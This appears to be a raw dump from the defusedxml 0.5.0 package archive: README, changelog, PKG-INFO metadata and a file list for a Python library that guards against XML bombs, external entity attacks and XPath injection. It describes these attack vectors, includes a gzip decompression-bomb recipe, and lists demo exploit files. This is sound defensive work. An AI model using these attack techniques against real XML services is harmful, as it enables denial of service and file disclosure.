builderFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-dtd-grammar", False);

TODO

License

Copyright (c) 2013-2017 by Christian Heimes <christian@python.org>

Licensed to PSF under a Contributor Agreement.

See http://www.python.org/psf/license for licensing details.

Acknowledgements

Brett Cannon (Python Core developer)
review and code cleanup
Antoine Pitrou (Python Core developer)
code review
Aaron Patterson, Ben Murphy and Michael Koziarski (Ruby community)
Many thanks to Aaron, Ben and Michael from the Ruby community for their report and assistance.
Thierry Carrez (OpenStack)
Many thanks to Thierry for his report to the Python Security Response Team on behalf of the OpenStack security team.
Carl Meyer (Django)
Many thanks to Carl for his report to PSRT on behalf of the Django security team.
Daniel Veillard (libxml2)
Many thanks to Daniel for his insight and assistance with libxml2.
semantics GmbH (http://www.semantics.de/)
Many thanks to my employer semantics for letting me work on the issue during working hours as part of semantics's open source initiative.

References

Changelog

defusedxml 0.5.0.rc1

Release date: 28-Jan-2017

  • Add compatibility with Python 3.6
  • Drop support for Python 2.6, 3.1, 3.2, 3.3
  • Fix lxml tests (XMLSyntaxError: Detected an entity reference loop)

defusedxml 0.4.1

Release date: 28-Mar-2013

  • Add more demo exploits, e.g. python_external.py and Xalan XSLT demos.
  • Improved documentation.

defusedxml 0.4

Release date: 25-Feb-2013

  • As per http://seclists.org/oss-sec/2013/q1/340 please REJECT CVE-2013-0278, CVE-2013-0279 and CVE-2013-0280 and use CVE-2013-1664, CVE-2013-1665 for OpenStack/etc.
  • Add missing parser_list argument to sax.make_parser(). The argument is ignored, though. (thanks to Florian Apolloner)
  • Add demo exploit for external entity attack on Python's SAX parser, XML-RPC and WebDAV.

defusedxml 0.3

Release date: 19-Feb-2013

  • Improve documentation

defusedxml 0.2

Release date: 15-Feb-2013

  • Rename ExternalEntitiesForbidden to ExternalReferenceForbidden
  • Rename defusedxml.lxml.check_dtd() to check_docinfo()
  • Unify argument names in callbacks
  • Add arguments and formatted representation to exceptions
  • Add forbid_external argument to all functions and classs
  • More tests
  • LOTS of documentation
  • Add example code for other languages (Ruby, Perl, PHP) and parsers (Genshi)
  • Add protection against XML and gzip attacks to xmlrpclib

defusedxml 0.1

Release date: 08-Feb-2013

  • Initial and internal release for PSRT review
defusedxml-0.5.0/setup.cfg0000664000175000017500000000030713047075227016254 0ustar heimesheimes00000000000000[bdist_wheel] universal = 1 [aliases] packages = clean --all egg_info bdist_wheel sdist --format=gztar release = packages register upload [egg_info] tag_build = tag_date = 0 tag_svn_revision = 0 defusedxml-0.5.0/defusedxml.egg-info/0000775000175000017500000000000013047075227020265 5ustar heimesheimes00000000000000defusedxml-0.5.0/defusedxml.egg-info/PKG-INFO0000664000175000017500000010674213047075226021373 0ustar heimesheimes00000000000000Metadata-Version: 1.1 Name: defusedxml Version: 0.5.0 Summary: XML bomb protection for Python stdlib modules Home-page: https://github.com/tiran/defusedxml Author: Christian Heimes Author-email: christian@python.org License: PSFL Download-URL: https://pypi.python.org/pypi/defusedxml Description: =================================================== defusedxml -- defusing XML bombs and other exploits =================================================== "It's just XML, what could probably go wrong?" Christian Heimes Synopsis ======== The results of an attack on a vulnerable XML library can be fairly dramatic. With just a few hundred **Bytes** of XML data an attacker can occupy several **Gigabytes** of memory within **seconds**. An attacker can also keep CPUs busy for a long time with a small to medium size request. Under some circumstances it is even possible to access local files on your server, to circumvent a firewall, or to abuse services to rebound attacks to third parties. The attacks use and abuse less common features of XML and its parsers. The majority of developers are unacquainted with features such as processing instructions and entity expansions that XML inherited from SGML. At best they know about ```` from experience with HTML but they are not aware that a document type definition (DTD) can generate an HTTP request or load a file from the file system. None of the issues is new. They have been known for a long time. Billion laughs was first reported in 2003. Nevertheless some XML libraries and applications are still vulnerable and even heavy users of XML are surprised by these features. It's hard to say whom to blame for the situation. It's too short sighted to shift all blame on XML parsers and XML libraries for using insecure default settings. After all they properly implement XML specifications. Application developers must not rely that a library is always configured for security and potential harmful data by default. .. contents:: Table of Contents :depth: 2 Attack vectors ============== billion laughs / exponential entity expansion --------------------------------------------- The `Billion Laughs`_ attack -- also known as exponential entity expansion -- uses multiple levels of nested entities. The original example uses 9 levels of 10 expansions in each level to expand the string ``lol`` to a string of 3 * 10 :sup:`9` bytes, hence the name "billion laughs". The resulting string occupies 3 GB (2.79 GiB) of memory; intermediate strings require additional memory. Because most parsers don't cache the intermediate step for every expansion it is repeated over and over again. It increases the CPU load even more. An XML document of just a few hundred bytes can disrupt all services on a machine within seconds. Example XML:: ]> &d; quadratic blowup entity expansion --------------------------------- A quadratic blowup attack is similar to a `Billion Laughs`_ attack; it abuses entity expansion, too. Instead of nested entities it repeats one large entity with a couple of thousand chars over and over again. The attack isn't as efficient as the exponential case but it avoids triggering countermeasures of parsers against heavily nested entities. Some parsers limit the depth and breadth of a single entity but not the total amount of expanded text throughout an entire XML document. A medium-sized XML document with a couple of hundred kilobytes can require a couple of hundred MB to several GB of memory. When the attack is combined with some level of nested expansion an attacker is able to achieve a higher ratio of success. :: ]> &a;&a;&a;... repeat external entity expansion (remote) ---------------------------------- Entity declarations can contain more than just text for replacement. They can also point to external resources by public identifiers or system identifiers. System identifiers are standard URIs. When the URI is a URL (e.g. a ``http://`` locator) some parsers download the resource from the remote location and embed them into the XML document verbatim. Simple example of a parsed external entity:: ]> ⅇ The case of parsed external entities works only for valid XML content. The XML standard also supports unparsed external entities with a ``NData declaration``. External entity expansion opens the door to plenty of exploits. An attacker can abuse a vulnerable XML library and application to rebound and forward network requests with the IP address of the server. It highly depends on the parser and the application what kind of exploit is possible. For example: * An attacker can circumvent firewalls and gain access to restricted resources as all the requests are made from an internal and trustworthy IP address, not from the outside. * An attacker can abuse a service to attack, spy on or DoS your servers but also third party services. The attack is disguised with the IP address of the server and the attacker is able to utilize the high bandwidth of a big machine. * An attacker can exhaust additional resources on the machine, e.g. with requests to a service that doesn't respond or responds with very large files. * An attacker may gain knowledge, when, how often and from which IP address a XML document is accessed. * An attacker could send mail from inside your network if the URL handler supports ``smtp://`` URIs. external entity expansion (local file) -------------------------------------- External entities with references to local files are a sub-case of external entity expansion. It's listed as an extra attack because it deserves extra attention. Some XML libraries such as lxml disable network access by default but still allow entity expansion with local file access by default. Local files are either referenced with a ``file://`` URL or by a file path (either relative or absolute). An attacker may be able to access and download all files that can be read by the application process. This may include critical configuration files, too. :: ]> ⅇ DTD retrieval ------------- This case is similar to external entity expansion, too. Some XML libraries like Python's xml.dom.pulldom retrieve document type definitions from remote or local locations. Several attack scenarios from the external entity case apply to this issue as well. :: text Python XML Libraries ==================== .. csv-table:: vulnerabilities and features :header: "kind", "sax", "etree", "minidom", "pulldom", "xmlrpc", "lxml", "genshi" :widths: 24, 7, 8, 8, 7, 8, 8, 8 :stub-columns: 0 "billion laughs", "**True**", "**True**", "**True**", "**True**", "**True**", "False (1)", "False (5)" "quadratic blowup", "**True**", "**True**", "**True**", "**True**", "**True**", "**True**", "False (5)" "external entity expansion (remote)", "**True**", "False (3)", "False (4)", "**True**", "false", "False (1)", "False (5)" "external entity expansion (local file)", "**True**", "False (3)", "False (4)", "**True**", "false", "**True**", "False (5)" "DTD retrieval", "**True**", "False", "False", "**True**", "false", "False (1)", "False" "gzip bomb", "False", "False", "False", "False", "**True**", "**partly** (2)", "False" "xpath support (7)", "False", "False", "False", "False", "False", "**True**", "False" "xsl(t) support (7)", "False", "False", "False", "False", "False", "**True**", "False" "xinclude support (7)", "False", "**True** (6)", "False", "False", "False", "**True** (6)", "**True**" "C library", "expat", "expat", "expat", "expat", "expat", "libxml2", "expat" 1. Lxml is protected against billion laughs attacks and doesn't do network lookups by default. 2. libxml2 and lxml are not directly vulnerable to gzip decompression bombs but they don't protect you against them either. 3. xml.etree doesn't expand entities and raises a ParserError when an entity occurs. 4. minidom doesn't expand entities and simply returns the unexpanded entity verbatim. 5. genshi.input of genshi 0.6 doesn't support entity expansion and raises a ParserError when an entity occurs. 6. Library has (limited) XInclude support but requires an additional step to process inclusion. 7. These are features but they may introduce exploitable holes, see `Other things to consider`_ Settings in standard library ---------------------------- xml.sax.handler Features ........................ feature_external_ges (http://xml.org/sax/features/external-general-entities) disables external entity expansion feature_external_pes (http://xml.org/sax/features/external-parameter-entities) the option is ignored and doesn't modify any functionality DOM xml.dom.xmlbuilder.Options .............................. external_parameter_entities ignored external_general_entities ignored external_dtd_subset ignored entities unsure defusedxml ========== The `defusedxml package`_ (`defusedxml on PyPI`_) contains several Python-only workarounds and fixes for denial of service and other vulnerabilities in Python's XML libraries. In order to benefit from the protection you just have to import and use the listed functions / classes from the right defusedxml module instead of the original module. Merely `defusedxml.xmlrpc`_ is implemented as monkey patch. Instead of:: >>> from xml.etree.ElementTree import parse >>> et = parse(xmlfile) alter code to:: >>> from defusedxml.ElementTree import parse >>> et = parse(xmlfile) Additionally the package has an **untested** function to monkey patch all stdlib modules with ``defusedxml.defuse_stdlib()``. All functions and parser classes accept three additional keyword arguments. They return either the same objects as the original functions or compatible subclasses. forbid_dtd (default: False) disallow XML with a ```` processing instruction and raise a *DTDForbidden* exception when a DTD processing instruction is found. forbid_entities (default: True) disallow XML with ```` declarations inside the DTD and raise an *EntitiesForbidden* exception when an entity is declared. forbid_external (default: True) disallow any access to remote or local resources in external entities or DTD and raising an *ExternalReferenceForbidden* exception when a DTD or entity references an external resource. defusedxml (package) -------------------- DefusedXmlException, DTDForbidden, EntitiesForbidden, ExternalReferenceForbidden, NotSupportedError defuse_stdlib() (*experimental*) defusedxml.cElementTree ----------------------- parse(), iterparse(), fromstring(), XMLParser defusedxml.ElementTree ----------------------- parse(), iterparse(), fromstring(), XMLParser defusedxml.expatreader ---------------------- create_parser(), DefusedExpatParser defusedxml.sax -------------- parse(), parseString(), create_parser() defusedxml.expatbuilder ----------------------- parse(), parseString(), DefusedExpatBuilder, DefusedExpatBuilderNS defusedxml.minidom ------------------ parse(), parseString() defusedxml.pulldom ------------------ parse(), parseString() defusedxml.xmlrpc ----------------- The fix is implemented as monkey patch for the stdlib's xmlrpc package (3.x) or xmlrpclib module (2.x). The function `monkey_patch()` enables the fixes, `unmonkey_patch()` removes the patch and puts the code in its former state. The monkey patch protects against XML related attacks as well as decompression bombs and excessively large requests or responses. The default setting is 30 MB for requests, responses and gzip decompression. You can modify the default by changing the module variable `MAX_DATA`. A value of `-1` disables the limit. defusedxml.lxml --------------- The module acts as an *example* how you could protect code that uses lxml.etree. It implements a custom Element class that filters out Entity instances, a custom parser factory and a thread local storage for parser instances. It also has a check_docinfo() function which inspects a tree for internal or external DTDs and entity declarations. In order to check for entities lxml > 3.0 is required. parse(), fromstring() RestrictedElement, GlobalParserTLS, getDefaultParser(), check_docinfo() defusedexpat ============ The `defusedexpat package`_ (`defusedexpat on PyPI`_) comes with binary extensions and a `modified expat`_ libary instead of the standard `expat parser`_. It's basically a stand-alone version of the patches for Python's standard library C extensions. Modifications in expat ---------------------- new definitions:: XML_BOMB_PROTECTION XML_DEFAULT_MAX_ENTITY_INDIRECTIONS XML_DEFAULT_MAX_ENTITY_EXPANSIONS XML_DEFAULT_RESET_DTD new XML_FeatureEnum members:: XML_FEATURE_MAX_ENTITY_INDIRECTIONS XML_FEATURE_MAX_ENTITY_EXPANSIONS XML_FEATURE_IGNORE_DTD new XML_Error members:: XML_ERROR_ENTITY_INDIRECTIONS XML_ERROR_ENTITY_EXPANSION new API functions:: int XML_GetFeature(XML_Parser parser, enum XML_FeatureEnum feature, long *value); int XML_SetFeature(XML_Parser parser, enum XML_FeatureEnum feature, long value); int XML_GetFeatureDefault(enum XML_FeatureEnum feature, long *value); int XML_SetFeatureDefault(enum XML_FeatureEnum feature, long value); XML_FEATURE_MAX_ENTITY_INDIRECTIONS Limit the amount of indirections that are allowed to occur during the expansion of a nested entity. A counter starts when an entity reference is encountered. It resets after the entity is fully expanded. The limit protects the parser against exponential entity expansion attacks (aka billion laughs attack). When the limit is exceeded the parser stops and fails with `XML_ERROR_ENTITY_INDIRECTIONS`. A value of 0 disables the protection. Supported range 0 .. UINT_MAX Default 40 XML_FEATURE_MAX_ENTITY_EXPANSIONS Limit the total length of all entity expansions throughout the entire document. The lengths of all entities are accumulated in a parser variable. The setting protects against quadratic blowup attacks (lots of expansions of a large entity declaration). When the sum of all entities exceeds the limit, the parser stops and fails with `XML_ERROR_ENTITY_EXPANSION`. A value of 0 disables the protection. Supported range 0 .. UINT_MAX Default 8 MiB XML_FEATURE_RESET_DTD Reset all DTD information after the block has been parsed. When the flag is set (default: false) all DTD information after the endDoctypeDeclHandler has been called. The flag can be set inside the endDoctypeDeclHandler. Without DTD information any entity reference in the document body leads to `XML_ERROR_UNDEFINED_ENTITY`. Supported range 0, 1 Default 0 How to avoid XML vulnerabilities ================================ Best practices -------------- * Don't allow DTDs * Don't expand entities * Don't resolve externals * Limit parse depth * Limit total input size * Limit parse time * Favor a SAX or iterparse-like parser for potential large data * Validate and properly quote arguments to XSL transformations and XPath queries * Don't use XPath expression from untrusted sources * Don't apply XSL transformations that come untrusted sources (based on Brad Hill's `Attacking XML Security`_) Other things to consider ======================== XML, XML parsers and processing libraries have more features and possible issue that could lead to DoS vulnerabilities or security exploits in applications. I have compiled an incomplete list of theoretical issues that need further research and more attention. The list is deliberately pessimistic and a bit paranoid, too. It contains things that might go wrong under daffy circumstances. attribute blowup / hash collision attack ---------------------------------------- XML parsers may use an algorithm with quadratic runtime O(n :sup:`2`) to handle attributes and namespaces. If it uses hash tables (dictionaries) to store attributes and namespaces the implementation may be vulnerable to hash collision attacks, thus reducing the performance to O(n :sup:`2`) again. In either case an attacker is able to forge a denial of service attack with an XML document that contains thousands upon thousands of attributes in a single node. I haven't researched yet if expat, pyexpat or libxml2 are vulnerable. decompression bomb ------------------ The issue of decompression bombs (aka `ZIP bomb`_) apply to all XML libraries that can parse compressed XML stream like gzipped HTTP streams or LZMA-ed files. For an attacker it can reduce the amount of transmitted data by three magnitudes or more. Gzip is able to compress 1 GiB zeros to roughly 1 MB, lzma is even better:: $ dd if=/dev/zero bs=1M count=1024 | gzip > zeros.gz $ dd if=/dev/zero bs=1M count=1024 | lzma -z > zeros.xy $ ls -sh zeros.* 1020K zeros.gz 148K zeros.xy None of Python's standard XML libraries decompress streams except for ``xmlrpclib``. The module is vulnerable to decompression bombs. lxml can load and process compressed data through libxml2 transparently. libxml2 can handle even very large blobs of compressed data efficiently without using too much memory. But it doesn't protect applications from decompression bombs. A carefully written SAX or iterparse-like approach can be safe. Processing Instruction ---------------------- `PI`_'s like:: may impose more threats for XML processing. It depends if and how a processor handles processing instructions. The issue of URL retrieval with network or local file access apply to processing instructions, too. Other DTD features ------------------ `DTD`_ has more features like ````. I haven't researched how these features may be a security threat. XPath ----- XPath statements may introduce DoS vulnerabilities. Code should never execute queries from untrusted sources. An attacker may also be able to create a XML document that makes certain XPath queries costly or resource hungry. XPath injection attacks ----------------------- XPath injeciton attacks pretty much work like SQL injection attacks. Arguments to XPath queries must be quoted and validated properly, especially when they are taken from the user. The page `Avoid the dangers of XPath injection`_ list some ramifications of XPath injections. Python's standard library doesn't have XPath support. Lxml supports parameterized XPath queries which does proper quoting. You just have to use its xpath() method correctly:: # DON'T >>> tree.xpath("/tag[@id='%s']" % value) # instead do >>> tree.xpath("/tag[@id=$tagid]", tagid=name) XInclude -------- `XML Inclusion`_ is another way to load and include external files:: This feature should be disabled when XML files from an untrusted source are processed. Some Python XML libraries and libxml2 support XInclude but don't have an option to sandbox inclusion and limit it to allowed directories. XMLSchema location ------------------ A validating XML parser may download schema files from the information in a ``xsi:schemaLocation`` attribute. :: XSL Transformation ------------------ You should keep in mind that XSLT is a Turing complete language. Never process XSLT code from unknown or untrusted source! XSLT processors may allow you to interact with external resources in ways you can't even imagine. Some processors even support extensions that allow read/write access to file system, access to JRE objects or scripting with Jython. Example from `Attacking XML Security`_ for Xalan-J:: Related CVEs ============ CVE-2013-1664 Unrestricted entity expansion induces DoS vulnerabilities in Python XML libraries (XML bomb) CVE-2013-1665 External entity expansion in Python XML libraries inflicts potential security flaws and DoS vulnerabilities Other languages / frameworks ============================= Several other programming languages and frameworks are vulnerable as well. A couple of them are affected by the fact that libxml2 up to 2.9.0 has no protection against quadratic blowup attacks. Most of them have potential dangerous default settings for entity expansion and external entities, too. Perl ---- Perl's XML::Simple is vulnerable to quadratic entity expansion and external entity expansion (both local and remote). Ruby ---- Ruby's REXML document parser is vulnerable to entity expansion attacks (both quadratic and exponential) but it doesn't do external entity expansion by default. In order to counteract entity expansion you have to disable the feature:: REXML::Document.entity_expansion_limit = 0 libxml-ruby and hpricot don't expand entities in their default configuration. PHP --- PHP's SimpleXML API is vulnerable to quadratic entity expansion and loads entites from local and remote resources. The option ``LIBXML_NONET`` disables network access but still allows local file access. ``LIBXML_NOENT`` seems to have no effect on entity expansion in PHP 5.4.6. C# / .NET / Mono ---------------- Information in `XML DoS and Defenses (MSDN)`_ suggest that .NET is vulnerable with its default settings. The article contains code snippets how to create a secure XML reader:: XmlReaderSettings settings = new XmlReaderSettings(); settings.ProhibitDtd = false; settings.MaxCharactersFromEntities = 1024; settings.XmlResolver = null; XmlReader reader = XmlReader.Create(stream, settings); Java ---- Untested. The documentation of Xerces and its `Xerces SecurityMananger`_ sounds like Xerces is also vulnerable to billion laugh attacks with its default settings. It also does entity resolving when an ``org.xml.sax.EntityResolver`` is configured. I'm not yet sure about the default setting here. Java specialists suggest to have a custom builder factory:: DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance(); builderFactory.setXIncludeAware(False); builderFactory.setExpandEntityReferences(False); builderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, True); # either builderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", True); # or if you need DTDs builderFactory.setFeature("http://xml.org/sax/features/external-general-entities", False); builderFactory.setFeature("http://xml.org/sax/features/external-parameter-entities", False); builderFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", False); builderFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-dtd-grammar", False); TODO ==== * DOM: Use xml.dom.xmlbuilder options for entity handling * SAX: take feature_external_ges and feature_external_pes (?) into account * test experimental monkey patching of stdlib modules * improve documentation License ======= Copyright (c) 2013-2017 by Christian Heimes Licensed to PSF under a Contributor Agreement. See http://www.python.org/psf/license for licensing details. Acknowledgements ================ Brett Cannon (Python Core developer) review and code cleanup Antoine Pitrou (Python Core developer) code review Aaron Patterson, Ben Murphy and Michael Koziarski (Ruby community) Many thanks to Aaron, Ben and Michael from the Ruby community for their report and assistance. Thierry Carrez (OpenStack) Many thanks to Thierry for his report to the Python Security Response Team on behalf of the OpenStack security team. Carl Meyer (Django) Many thanks to Carl for his report to PSRT on behalf of the Django security team. Daniel Veillard (libxml2) Many thanks to Daniel for his insight and assistance with libxml2. semantics GmbH (http://www.semantics.de/) Many thanks to my employer semantics for letting me work on the issue during working hours as part of semantics's open source initiative. References ========== * `XML DoS and Defenses (MSDN)`_ * `Billion Laughs`_ on Wikipedia * `ZIP bomb`_ on Wikipedia * `Configure SAX parsers for secure processing`_ * `Testing for XML Injection`_ .. _defusedxml package: https://bitbucket.org/tiran/defusedxml .. _defusedxml on PyPI: https://pypi.python.org/pypi/defusedxml .. _defusedexpat package: https://bitbucket.org/tiran/defusedexpat .. _defusedexpat on PyPI: https://pypi.python.org/pypi/defusedexpat .. _modified expat: https://bitbucket.org/tiran/expat .. _expat parser: http://expat.sourceforge.net/ .. _Attacking XML Security: https://www.isecpartners.com/media/12976/iSEC-HILL-Attacking-XML-Security-bh07.pdf .. _Billion Laughs: http://en.wikipedia.org/wiki/Billion_laughs .. _XML DoS and Defenses (MSDN): http://msdn.microsoft.com/en-us/magazine/ee335713.aspx .. _ZIP bomb: http://en.wikipedia.org/wiki/Zip_bomb .. _DTD: http://en.wikipedia.org/wiki/Document_Type_Definition .. _PI: https://en.wikipedia.org/wiki/Processing_Instruction .. _Avoid the dangers of XPath injection: http://www.ibm.com/developerworks/xml/library/x-xpathinjection/index.html .. _Configure SAX parsers for secure processing: http://www.ibm.com/developerworks/xml/library/x-tipcfsx/index.html .. _Testing for XML Injection: https://www.owasp.org/index.php/Testing_for_XML_Injection_(OWASP-DV-008) .. _Xerces SecurityMananger: http://xerces.apache.org/xerces2-j/javadocs/xerces2/org/apache/xerces/util/SecurityManager.html .. _XML Inclusion: http://www.w3.org/TR/xinclude/#include_element Changelog ========= defusedxml 0.5.0 ---------------- *Release date: 07-Feb-2017* - No changes defusedxml 0.5.0.rc1 -------------------- *Release date: 28-Jan-2017* - Add compatibility with Python 3.6 - Drop support for Python 2.6, 3.1, 3.2, 3.3 - Fix lxml tests (XMLSyntaxError: Detected an entity reference loop) defusedxml 0.4.1 ---------------- *Release date: 28-Mar-2013* - Add more demo exploits, e.g. python_external.py and Xalan XSLT demos. - Improved documentation. defusedxml 0.4 -------------- *Release date: 25-Feb-2013* - As per http://seclists.org/oss-sec/2013/q1/340 please REJECT CVE-2013-0278, CVE-2013-0279 and CVE-2013-0280 and use CVE-2013-1664, CVE-2013-1665 for OpenStack/etc. - Add missing parser_list argument to sax.make_parser(). The argument is ignored, though. (thanks to Florian Apolloner) - Add demo exploit for external entity attack on Python's SAX parser, XML-RPC and WebDAV. defusedxml 0.3 -------------- *Release date: 19-Feb-2013* - Improve documentation defusedxml 0.2 -------------- *Release date: 15-Feb-2013* - Rename ExternalEntitiesForbidden to ExternalReferenceForbidden - Rename defusedxml.lxml.check_dtd() to check_docinfo() - Unify argument names in callbacks - Add arguments and formatted representation to exceptions - Add forbid_external argument to all functions and classs - More tests - LOTS of documentation - Add example code for other languages (Ruby, Perl, PHP) and parsers (Genshi) - Add protection against XML and gzip attacks to xmlrpclib defusedxml 0.1 -------------- *Release date: 08-Feb-2013* - Initial and internal release for PSRT review Keywords: xml bomb DoS Platform: all Classifier: Development Status :: 5 - Production/Stable Classifier: Intended Audience :: Developers Classifier: License :: OSI Approved :: Python Software Foundation License Classifier: Natural Language :: English Classifier: Programming Language :: Python Classifier: Programming Language :: Python :: 2 Classifier: Programming Language :: Python :: 2.7 Classifier: Programming Language :: Python :: 3 Classifier: Programming Language :: Python :: 3.4 Classifier: Programming Language :: Python :: 3.5 Classifier: Programming Language :: Python :: 3.6 Classifier: Topic :: Text Processing :: Markup :: XML defusedxml-0.5.0/defusedxml.egg-info/top_level.txt0000664000175000017500000000001313047075226023010 0ustar heimesheimes00000000000000defusedxml defusedxml-0.5.0/defusedxml.egg-info/dependency_links.txt0000664000175000017500000000000113047075226024332 0ustar heimesheimes00000000000000 defusedxml-0.5.0/defusedxml.egg-info/SOURCES.txt0000664000175000017500000000162213047075227022152 0ustar heimesheimes00000000000000CHANGES.txt LICENSE MANIFEST.in Makefile README.html README.txt setup.cfg setup.py tests.py void.css defusedxml/ElementTree.py defusedxml/__init__.py defusedxml/cElementTree.py defusedxml/common.py defusedxml/expatbuilder.py defusedxml/expatreader.py defusedxml/lxml.py defusedxml/minidom.py defusedxml/pulldom.py defusedxml/sax.py defusedxml/xmlrpc.py defusedxml.egg-info/PKG-INFO defusedxml.egg-info/SOURCES.txt defusedxml.egg-info/dependency_links.txt defusedxml.egg-info/top_level.txt other/README.txt other/exploit_webdav.py other/exploit_xmlrpc.py other/perl.pl other/php.php other/python_external.py other/python_genshi.py other/ruby-hpricot.rb other/ruby-libxml.rb other/ruby-rexml.rb xmltestdata/cyclic.xml xmltestdata/dtd.xml xmltestdata/external.xml xmltestdata/external_file.xml xmltestdata/quadratic.xml xmltestdata/simple-ns.xml xmltestdata/simple.xml xmltestdata/xmlbomb.xml xmltestdata/xmlbomb2.xmldefusedxml-0.5.0/PKG-INFO0000664000175000017500000010674213047075227015542 0ustar heimesheimes00000000000000Metadata-Version: 1.1 Name: defusedxml Version: 0.5.0 Summary: XML bomb protection for Python stdlib modules Home-page: https://github.com/tiran/defusedxml Author: Christian Heimes Author-email: christian@python.org License: PSFL Download-URL: https://pypi.python.org/pypi/defusedxml Description: =================================================== defusedxml -- defusing XML bombs and other exploits =================================================== "It's just XML, what could probably go wrong?" Christian Heimes Synopsis ======== The results of an attack on a vulnerable XML library can be fairly dramatic. With just a few hundred **Bytes** of XML data an attacker can occupy several **Gigabytes** of memory within **seconds**. An attacker can also keep CPUs busy for a long time with a small to medium size request. Under some circumstances it is even possible to access local files on your server, to circumvent a firewall, or to abuse services to rebound attacks to third parties. The attacks use and abuse less common features of XML and its parsers. The majority of developers are unacquainted with features such as processing instructions and entity expansions that XML inherited from SGML. At best they know about ```` from experience with HTML but they are not aware that a document type definition (DTD) can generate an HTTP request or load a file from the file system. None of the issues is new. They have been known for a long time. Billion laughs was first reported in 2003. Nevertheless some XML libraries and applications are still vulnerable and even heavy users of XML are surprised by these features. It's hard to say whom to blame for the situation. It's too short sighted to shift all blame on XML parsers and XML libraries for using insecure default settings. After all they properly implement XML specifications. Application developers must not rely that a library is always configured for security and potential harmful data by default. .. contents:: Table of Contents :depth: 2 Attack vectors ============== billion laughs / exponential entity expansion --------------------------------------------- The `Billion Laughs`_ attack -- also known as exponential entity expansion -- uses multiple levels of nested entities. The original example uses 9 levels of 10 expansions in each level to expand the string ``lol`` to a string of 3 * 10 :sup:`9` bytes, hence the name "billion laughs". The resulting string occupies 3 GB (2.79 GiB) of memory; intermediate strings require additional memory. Because most parsers don't cache the intermediate step for every expansion it is repeated over and over again. It increases the CPU load even more. An XML document of just a few hundred bytes can disrupt all services on a machine within seconds. Example XML:: ]> &d; quadratic blowup entity expansion --------------------------------- A quadratic blowup attack is similar to a `Billion Laughs`_ attack; it abuses entity expansion, too. Instead of nested entities it repeats one large entity with a couple of thousand chars over and over again. The attack isn't as efficient as the exponential case but it avoids triggering countermeasures of parsers against heavily nested entities. Some parsers limit the depth and breadth of a single entity but not the total amount of expanded text throughout an entire XML document. A medium-sized XML document with a couple of hundred kilobytes can require a couple of hundred MB to several GB of memory. When the attack is combined with some level of nested expansion an attacker is able to achieve a higher ratio of success. :: ]> &a;&a;&a;... repeat external entity expansion (remote) ---------------------------------- Entity declarations can contain more than just text for replacement. They can also point to external resources by public identifiers or system identifiers. System identifiers are standard URIs. When the URI is a URL (e.g. a ``http://`` locator) some parsers download the resource from the remote location and embed them into the XML document verbatim. Simple example of a parsed external entity:: ]> ⅇ The case of parsed external entities works only for valid XML content. The XML standard also supports unparsed external entities with a ``NData declaration``. External entity expansion opens the door to plenty of exploits. An attacker can abuse a vulnerable XML library and application to rebound and forward network requests with the IP address of the server. It highly depends on the parser and the application what kind of exploit is possible. For example: * An attacker can circumvent firewalls and gain access to restricted resources as all the requests are made from an internal and trustworthy IP address, not from the outside. * An attacker can abuse a service to attack, spy on or DoS your servers but also third party services. The attack is disguised with the IP address of the server and the attacker is able to utilize the high bandwidth of a big machine. * An attacker can exhaust additional resources on the machine, e.g. with requests to a service that doesn't respond or responds with very large files. * An attacker may gain knowledge, when, how often and from which IP address a XML document is accessed. * An attacker could send mail from inside your network if the URL handler supports ``smtp://`` URIs. external entity expansion (local file) -------------------------------------- External entities with references to local files are a sub-case of external entity expansion. It's listed as an extra attack because it deserves extra attention. Some XML libraries such as lxml disable network access by default but still allow entity expansion with local file access by default. Local files are either referenced with a ``file://`` URL or by a file path (either relative or absolute). An attacker may be able to access and download all files that can be read by the application process. This may include critical configuration files, too. :: ]> ⅇ DTD retrieval ------------- This case is similar to external entity expansion, too. Some XML libraries like Python's xml.dom.pulldom retrieve document type definitions from remote or local locations. Several attack scenarios from the external entity case apply to this issue as well. :: text Python XML Libraries ==================== .. csv-table:: vulnerabilities and features :header: "kind", "sax", "etree", "minidom", "pulldom", "xmlrpc", "lxml", "genshi" :widths: 24, 7, 8, 8, 7, 8, 8, 8 :stub-columns: 0 "billion laughs", "**True**", "**True**", "**True**", "**True**", "**True**", "False (1)", "False (5)" "quadratic blowup", "**True**", "**True**", "**True**", "**True**", "**True**", "**True**", "False (5)" "external entity expansion (remote)", "**True**", "False (3)", "False (4)", "**True**", "false", "False (1)", "False (5)" "external entity expansion (local file)", "**True**", "False (3)", "False (4)", "**True**", "false", "**True**", "False (5)" "DTD retrieval", "**True**", "False", "False", "**True**", "false", "False (1)", "False" "gzip bomb", "False", "False", "False", "False", "**True**", "**partly** (2)", "False" "xpath support (7)", "False", "False", "False", "False", "False", "**True**", "False" "xsl(t) support (7)", "False", "False", "False", "False", "False", "**True**", "False" "xinclude support (7)", "False", "**True** (6)", "False", "False", "False", "**True** (6)", "**True**" "C library", "expat", "expat", "expat", "expat", "expat", "libxml2", "expat" 1. Lxml is protected against billion laughs attacks and doesn't do network lookups by default. 2. libxml2 and lxml are not directly vulnerable to gzip decompression bombs but they don't protect you against them either. 3. xml.etree doesn't expand entities and raises a ParserError when an entity occurs. 4. minidom doesn't expand entities and simply returns the unexpanded entity verbatim. 5. genshi.input of genshi 0.6 doesn't support entity expansion and raises a ParserError when an entity occurs. 6. Library has (limited) XInclude support but requires an additional step to process inclusion. 7. These are features but they may introduce exploitable holes, see `Other things to consider`_ Settings in standard library ---------------------------- xml.sax.handler Features ........................ feature_external_ges (http://xml.org/sax/features/external-general-entities) disables external entity expansion feature_external_pes (http://xml.org/sax/features/external-parameter-entities) the option is ignored and doesn't modify any functionality DOM xml.dom.xmlbuilder.Options .............................. external_parameter_entities ignored external_general_entities ignored external_dtd_subset ignored entities unsure defusedxml ========== The `defusedxml package`_ (`defusedxml on PyPI`_) contains several Python-only workarounds and fixes for denial of service and other vulnerabilities in Python's XML libraries. In order to benefit from the protection you just have to import and use the listed functions / classes from the right defusedxml module instead of the original module. Merely `defusedxml.xmlrpc`_ is implemented as monkey patch. Instead of:: >>> from xml.etree.ElementTree import parse >>> et = parse(xmlfile) alter code to:: >>> from defusedxml.ElementTree import parse >>> et = parse(xmlfile) Additionally the package has an 